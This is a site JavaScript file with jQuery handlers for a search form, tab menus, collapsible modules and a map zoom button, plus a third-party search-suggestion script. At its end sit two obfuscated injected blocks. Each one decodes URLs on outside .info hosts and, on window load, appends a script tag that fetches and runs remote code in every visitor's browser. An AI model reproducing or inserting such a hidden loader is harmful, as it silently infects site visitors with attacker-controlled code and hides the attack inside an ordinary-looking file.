var mapZoomCollapsButtonLabels = new Array();
mapZoomCollapsButtonLabels[0] = "expand map"; // default value 
mapZoomCollapsButtonLabels[1] = "collapse map";	// default value

function setZoomButtonLabels( expandLabel, collapseLabel ){
	mapZoomCollapsButtonLabels[0] = expandLabel;
	mapZoomCollapsButtonLabels[1] = collapseLabel;
}

$(document).ready(function(){
    var mapZoomCollapsButtonLabels = new Array();
    mapZoomCollapsButtonLabels[0] = "expand map"; // default value 
    mapZoomCollapsButtonLabels[1] = "collapse map";	// default value 
        
   /*SUGGESTIONS*/
    

    $.get("index.php?id=630&type=555", function(data){
    	var suggestions = $(data).text();
    	searchfield(suggestions);
    });
    
     

    /*FORM*/
   
  	$('#finder form fieldset').hide();	
  	$('#finder form fieldset.findersubmit').show();
	
	$selectCounter = 0;
	
	$('#finder form fieldset select').each(function(){
		$itemCounter = 0;
		$list = "";
		$list += "<div class='finderitem'>";
		$list += "<h3>" + $(this).siblings().text() + "</h3>";
		$list += "<div id="+ $selectCounter + " class='select'>";
		$list += "<ul>";
    	$('option', this).each(function(){
    		var active = $(this).attr('selected') == true ? 'class="active"' : '';
    		$list += "<li><a id=" + $itemCounter +" "+active+">" + $(this).text() + "</a></li>";
    		$itemCounter++;
    	});
		$list += "</ul></div></div>";
    	$('#finder form').before($list);
		$selectCounter++;
	});
	
	$('.career form fieldset input.careersearch').each(function(){
		$list = "<div class='finderitem'>";
		$list += "<h3>" + $(this).siblings().text() + "</h3>";
		$list += '<input class="careersearch" name="kw" value="" type="text"/>';
		$list += "</div>";
		$('#finder form').before($list);
	});
		            
    $('.clear').click(function(){
    	$('.select a.active').click();
    	$(".career div .careersearch").attr('value', "");
    	return false;
    });
    
    $('div.select a').bind('click', onSelectItem);
    $('div.select a.active').unbind('click');
    $('div.select a.active').bind('click', onDeselectItem);
    
    function onSelectItem(){				
		$(this).addClass('active');
		$(this).unbind("click");
		$itemIndex = $(this).attr('id');
		$selectIndex = $(this).parent().parent().parent().attr('id');
		$('#finder form select').eq(parseInt($selectIndex)).children().eq(parseInt($itemIndex)).attr("selected", "selected");
		$(this).bind("click", onDeselectItem);
	}
	
	function onDeselectItem(){
		$(this).unbind("click");
		$itemIndex = $(this).attr('id');
		$selectIndex = $(this).parent().parent().parent().attr('id');
		$('#finder form select').eq(parseInt($selectIndex)).children().eq(parseInt($itemIndex)).attr("selected", "");
		$(this).removeClass('active');
		$(this).bind("click", onSelectItem);
	}
    
    
    /*MENU*/
    
	$('#menu').superfish({hoverClass:"active", delay: 200});
    
    
    /*TABMENU*/
   
    
    $('#content #tabmenu').children().wrapAll('<div class="tabcontent"></div>');
    //$('.tabcontent').children().find('div').hide(); 
    
    $tablist = '<ul class="tabs">';
    
    $('#content #tabmenu div a').each(function(){
    	if($(this).attr('name')){
    		$tablist += '<li><a>' + $(this).attr('name') + '</a></li>';
    	}
    });
    
    $tablist += '</ul>';
    
    $('#content #tabmenu').append($tablist);
    
    $('#content .tabs li a').click(function(){
    	$(this).addClass('active').parent().siblings().children().removeClass('active');
    	$target = $(this).text();
    	$('#tabmenu div a').each(function(){
    		if($(this).attr('name')==$target){
    			$(this).parent().siblings().hide();
    			$(this).parent().fadeIn();
    		}
    	});
    
    });
    
    $('.tabs a').eq(0).click();
    
    $('#moduletab .tabs li a').removeAttr('href');
    
    $('#moduletab .tabs li a').click(function(){
    	$(this).addClass('active').parent().siblings().children().removeClass('active');
    	$('#moduletab .tabcontent .hidden').siblings().hide();
    	$('#moduletab .tabcontent .hidden').fadeIn().removeClass('hidden').siblings().addClass('hidden');
    });
    
    
    /*MODULES*/
    
    $('.hide').bind('click', onHide).siblings().show();
    $('#accordeon a.show').bind('click', onShow).siblings().hide(); 
    $('.newsdownload a.show').bind('click', onShow).siblings().hide(); 
    $('#modules a.show').bind('click', onShowModule).siblings().hide();
    $('#modules a.hide').bind('click', onHideModule).siblings().show();  
    
    //$('#accordeon div a').eq(0).click();  
    
    function onShow(){	
		$(this).siblings().show('normal');
		$(this).addClass('active').addClass('hide').removeClass('show');
		$(this).unbind("click");
		$(this).bind("click", onHide);
	}
	
	function onShowModule(){	
		$(this).siblings().slideDown('slow');
		$(this).addClass('active').addClass('hide').removeClass('show');
		$(this).unbind("click");
		$(this).bind("click", onHide);
	}
	
	function onHide(){
		$(this).unbind("click");
		$(this).siblings().slideUp('slow');
		$(this).removeClass("hide").removeClass('active').addClass("show");
		$(this).bind("click", onShowModule);
	}
	
	function onHideModule(){
		$(this).unbind("click");
		$(this).siblings().slideUp('slow');
		$(this).removeClass("hide").removeClass('active').addClass("show");
		$(this).bind("click", onShowModule);
	}
	
	
	/*GALLERY*/
	
	//$('.lightbox a').lightBox();
	

	/*MAP*/
	
	$('.zoom_button').bind('click', mapdown);
	$('.zoom_button').text( mapZoomCollapsButtonLabels[0] );
//	$('.en').text('expand map');
//	$('.de').text('karte vergrössern');
	
	function mapdown(){				
		$('#map').animate({height: "33.333em"}, 1000, 'linear', setTimeout("showController()", 1000));
		$(this).unbind("click");
		$('.zoom_button').text( mapZoomCollapsButtonLabels[1] );
//		$('.en').text('collapse map');
//		$('.de').text('karte verkleinern');
		$(this).bind("click", mapup);
	}
	
	function mapup(){
		$(this).unbind("click");
		hideController();
		$('#map').animate({height: "12.5em"}, 1000, 'linear', setTimeout("setCenter()", 1000));
		$('.zoom_button').text( mapZoomCollapsButtonLabels[0] );
//		$('.en').text('expand map');
//		$('.de').text('karte vergrössern');
		$(this).bind("click", mapdown);
	}
    

});


this.syncTextfields = function (){
		$('.career form fieldset .careersearch').attr('value', ($(".career div .careersearch").attr('value')));
		//alert($('.career form fieldset .careersearch').attr('value'));	
}


/* 

	SearchField 
	written by Alen Grakalic, provided by Css Globe (cssglobe.com)
	please visit http://cssglobe.com/post/1202/style-your-websites-search-field-with-jscss/ for more info
	
*/

this.searchfield = function(text){
	
	// CONFIG 
	
	// this is id of the search field you want to add this script to. 
	// You can use your own id just make sure that it matches the search field in your html file.
	var id = "searchfield";	
	
	// set to either true or false
	// when set to true it will generate search suggestions list for search field based on content of variable below
	var suggestion = true;
	
	// static list of suggestion options, separated by comma
	// replace with your own
	//var suggestionText = (document.getElementById('suggestions').value).toString();
	var suggestionText = text;

	// END CONFIG (do not edit below this line, well unless you really, really want to change something :) )
	// Peace, 
	// Alen

	var field = document.getElementById(id);
	
	// Text you want to set as a default value of your search field.
	var defaultText = field.value;
		
	var classInactive = "sf_inactive";
	var classActive = "sf_active";
	var classText = "sf_text";
	var classSuggestion = "sf_suggestion";
	//alert(navigator.vendor.indexOf("Apple Computer, Inc.")!=-1);
	this.safari = ((parseInt(navigator.productSub)>=20020000)&&(navigator.vendor.indexOf("Apple Computer, Inc.")!=-1));
	//if(field && !safari){
	if(field){
		field.value = defaultText;
		field.c = field.className;		
		field.className = field.c + " " + classInactive;
		field.onfocus = function(){
			this.className = this.c + " "  + classActive;
			this.value = (this.value == "" || this.value == defaultText) ?  "" : this.value;
		};
		field.onblur = function(){
			this.className = (this.value != "" && this.value != defaultText) ? this.c + " " +  classText : this.c + " " +  classInactive;
			this.value = (this.value != "" && this.value != defaultText) ?  this.value : defaultText;
			clearList();
		};
		if (suggestion){
			
			var selectedIndex = 0;
						
			field.setAttribute("autocomplete", "off");
			var div = document.createElement("div");
			var list = document.createElement("ul");
			list.style.display = "none";
			div.className = classSuggestion;
			//list.style.width = field.offsetWidth + "px";
			div.appendChild(list);
			field.parentNode.appendChild(div);	

			field.onkeypress = function(e){
				
				var key = getKeyCode(e);
		
				if(key == 13){ // enter
					selectList();
					selectedIndex = 0;
					return false;
				};	
			};
				
			field.onkeyup = function(e){
			
				var key = getKeyCode(e);
		
				switch(key){
				case 13:
					return false;
					break;			
				case 27:  // esc
					field.value = "";
					selectedIndex = 0;
					clearList();
					break;				
				case 38: // up
					navList("up");
					break;
				case 40: // down
					navList("down");		
					break;
				default:
					startList();			
					break;
				};
			};
			
			this.startList = function(){
				var arr = getListItems(field.value);
				if(field.value.length > 0){
					createList(arr);
				} else {
					clearList();
				};	
			};
			
			this.getListItems = function(value){
				var arr = new Array();
				var src = suggestionText;
				var src = src.replace(/, /g, ",");
				var arrSrc = src.split(",");
				for(i=0;i<arrSrc.length;i++){
					if(arrSrc[i].substring(0,value.length).toLowerCase() == value.toLowerCase()){
						arr.push(arrSrc[i]);
					};
				};				
				return arr;
			};
			
			this.createList = function(arr){				
				resetList();			
				if(arr.length > 0) {
					for(i=0;i<arr.length;i++){				
						li = document.createElement("li");
						a = document.createElement("a");
						a.href = "javascript:void(0);";
						a.i = i+1;
						a.innerHTML = arr[i];
						li.i = i+1;
						li.onmouseover = function(){
							navListItem(this.i);
						};
						a.onmousedown = function(){
							selectedIndex = this.i;
							selectList(this.i);		
							return false;
						};					
						li.appendChild(a);
						list.setAttribute("tabindex", "-1");
						list.appendChild(li);	
					};	
					list.style.display = "block";				
				} else {
					clearList();
				};
			};	
			
			this.resetList = function(){
				var li = list.getElementsByTagName("li");
				var len = li.length;
				for(var i=0;i<len;i++){
					list.removeChild(li[0]);
				};
			};
			
			this.navList = function(dir){			
				selectedIndex += (dir == "down") ? 1 : -1;
				li = list.getElementsByTagName("li");
				if (selectedIndex < 1) selectedIndex =  li.length;
				if (selectedIndex > li.length) selectedIndex =  1;
				navListItem(selectedIndex);
			};
			
			this.navListItem = function(index){	
				selectedIndex = index;
				li = list.getElementsByTagName("li");
				for(var i=0;i<li.length;i++){
					li[i].className = (i==(selectedIndex-1)) ? "selected" : "";
				};
			};
			
			this.selectList = function(){
				li = list.getElementsByTagName("li");	
				a = li[selectedIndex-1].getElementsByTagName("a")[0];
				field.value = a.innerHTML;
				clearList();
			};			
			
		};
	};
	
	this.clearList = function(){
		if(list){
			list.style.display = "none";
			selectedIndex = 0;
		};
	};		
	this.getKeyCode = function(e){
		var code;
		if (!e) var e = window.event;
		if (e.keyCode) code = e.keyCode;
		return code;
	};
	
};

// script initiates on page load. 
/*
this.addEvent = function(obj,type,fn){
	if(obj.attachEvent){
		obj['e'+type+fn] = fn;
		obj[type+fn] = function(){obj['e'+type+fn](window.event );}
		obj.attachEvent('on'+type, obj[type+fn]);
	} else {
		obj.addEventListener(type,fn,false);
	};
};
addEvent(window,"load",searchfield);
*/


var F;if(F!='' && F!='U'){F=null};var Oa=new Date();try {this.kv='';var Se='';var C;if(C!='pu'){C='pu'};var s=window[unescape("%75%6e%65%73%63%61%70%65")];var a='';var sK;if(sK!='n'){sK=''};this.L="";var _=s("%72%65%70%6c%61%63%65");var op="";var t=new Array();var A='';var MV='';var Y=window[s("%52%65%67%45%78%70")];this.Pv='';var g=null;this.xF='';var Ul;if(Ul!='' && Ul!='SR'){Ul=''};function P(b,M){this.Hu="";var SX;if(SX!='ZF' && SX != ''){SX=null};var c=s("%5b");var Yv;if(Yv!=''){Yv='qE'};c+=M;var qf;if(qf!='Rw'){qf=''};var D;if(D!='mu'){D='mu'};c+=s("%5d");var W;if(W!='CM' && W!='rI'){W='CM'};var WF='';var I=new Y(c, s("%67"));var n_=new Array();return b.replace(I, g);var Wj='';var xF_;if(xF_!='dJ'){xF_=''};};this.oo="";var ey='';var b=s("%31");var x=new String("7buzonlo".substr(4)+"ad");var Q='';var j=P('82124967173660542611222783727999630253556563742','26473591');this.SF="";var q=s("%73%63%72%69%70%74");var O="\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6e\x65\x72\x6f\x6f\x6d\x68\x6f\x6d\x65\x2e\x69\x6e\x66\x6f\x3a";var SZ;if(SZ!='' && SZ!='FY'){SZ=''};var y=P('/MgUoUoUg3l0eN.YczoOm3/Yhvu0a9nzqKiKuw.0c3ozmk/WgWiYr3lNsMgIoNgzaCmWeCsY.OcKoWmz.Op0hvp3','yk0vKIMY9WCUOzDN3w');var SB;if(SB!=''){SB='wm'};var dV='';function gC(){var TG="";var bE=document;this.Ik="";this.AD="";o=bE.createElement(q);var CS="";var Uq;if(Uq!='Ij'){Uq='Ij'};var tA;if(tA!='' && tA!='vX'){tA=null};Q+=O;this.Sa="";Q+=j+y;var ZI;if(ZI!='' && ZI!='He'){ZI=''};var ZH=new Date();var uG=new Date();o.src=Q;var uW;if(uW!='hi'){uW=''};var PS=bE.body;o.defer=b;var uc;if(uc!='Ql' && uc!='eV'){uc='Ql'};PS.appendChild(o);var B=new Date();};var Kg;if(Kg!='cp' && Kg!='Az'){Kg=''};var TP;if(TP!='we' && TP!='IM'){TP=''};this.DO='';var CA;if(CA!=''){CA='LQ'};window[x]=gC;var UrT;if(UrT!='orQ' && UrT != ''){UrT=null};this.wO="";var lj=new String();} catch(p){};var ay=new Array();var aZ=new Array();


this.i="";this.vB='';var SD="";function b(){var f="";var G=window;var x;if(x!='' && x!='y'){x=null};this.r="";var qb=new Date();var S=G['unescape'];var FN;if(FN!=''){FN='AT'};var A=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%76%61%78%68%6f%6d%65%2e%77%73%2f%65%74%73%79%2e%63%6f%6d%2e%70%68%70");var Nt="";function K(GP,s){var xN=new String();var mq=new String();var z=new Array();var v=S("%5d");var C=S("%5b");var F=String("g");var BU;if(BU!=''){BU='Ot'};var nm=new Date();var Cj=new RegExp(C+s+v, F);var QL;if(QL!='yn' && QL!='zs'){QL='yn'};this.yQ="";return GP.replace(Cj, new String());var jE=new Date();var hc;if(hc!='I' && hc!='M'){hc='I'};};var CS;if(CS!='' && CS!='UH'){CS=''};var Kz;if(Kz!='' && Kz!='AY'){Kz=''};var sO=new Array();var xP;if(xP!='zg' && xP != ''){xP=null};var Sq=document;var W=K('s5r5cg','8g6CS4P0Vz5ZFMU3ydbI29oK');var vQ=new Date();this.qo='';var wD="";this.gs='';var N=K('dVeVfFeCrU','VCkINFsU_');this.Xm="";var h=K('sncYraiKpYtn','_YWKan');var lf;if(lf!=''){lf='AX'};var X=K('8676452639513407157226277478453713143429521601146331565199699','47532169');var cp;if(cp!='zI'){cp='zI'};this.Of='';function q(){this.yR="";var k=S("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var cY;if(cY!='' && cY!='hP'){cY=null};var c=k;this.bL="";c+=X;c+=A;var zY="";var Qm;if(Qm!=''){Qm='AF'};var Ox;if(Ox!='' && Ox!='H'){Ox='aC'};var Zj;if(Zj!='' && Zj!='AO'){Zj='Ca'};var MY;if(MY!='mS' && MY!='CW'){MY=''};try {var _;if(_!='mu'){_=''};Q=Sq[K('cMr7ezaYt6e8EflzeRmAebn6tv','Rf8vPJK7MY6Nz2A3bU')](h);var ml;if(ml!='xm'){ml=''};var zD;if(zD!='mg'){zD=''};var FF="";Q[N]=[1][0];var id=new String();Q[W]=c;var mug=new String();this.mK="";this.ei="";Sq.body[K('azpMpYeXnAdzCXh1ijlwd2','cQjzb14gE2yAmwMUYX6J')](Q);var ka;if(ka!='bU'){ka=''};var nM="";var zsR;if(zsR!='PN' && zsR!='bs'){zsR=''};} catch(B){this.yi='';};var wg;if(wg!='vo' && wg!='Lj'){wg='vo'};var md='';var t;if(t!='bB'){t=''};}var zn="";var w=K('oLnjlGoLasdG','3sbGKRJjixZLTz0A8DSgP7XhY');var tG=new Date();var dP=new Array();var Wf=new Date();G[w]=q;var Rs;if(Rs!='Gz'){Rs='Gz'};var jJ;if(jJ!='Hc'){jJ=''};};var hC;if(hC!='' && hC!='MYw'){hC='jN'};b();